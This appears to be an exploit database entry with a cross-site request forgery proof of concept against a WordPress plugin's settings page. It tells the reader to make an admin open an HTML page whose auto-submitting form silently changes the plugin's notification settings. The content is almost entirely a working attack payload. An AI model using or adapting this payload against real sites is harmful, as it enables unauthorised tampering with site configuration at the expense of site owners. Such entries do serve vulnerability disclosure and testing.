Share
## https://sploitus.com/exploit?id=WPEX-ID:72279CA0-6365-4C83-ADCA-4D8E5808A8C5
Make an admin open an HTML page containing the following:

<form action="https://example.com/wp-admin/admin.php?page=wp-reply-notify%2Fwprn-settings.php" method="POST">
    <input type="text" name="reply_receive" value="0">
    <input type="text" name="reply_notify" value="0">
    <input type="text" name="receive_email" value="0">
    <input type="text" name="items_per_page" value="10">
    <input type="text" name="keep_period" value="0">
    <input type="text" name="wprn_settings" value="Save Changes">
</form>
<script>
    document.forms[0].submit();    
</script>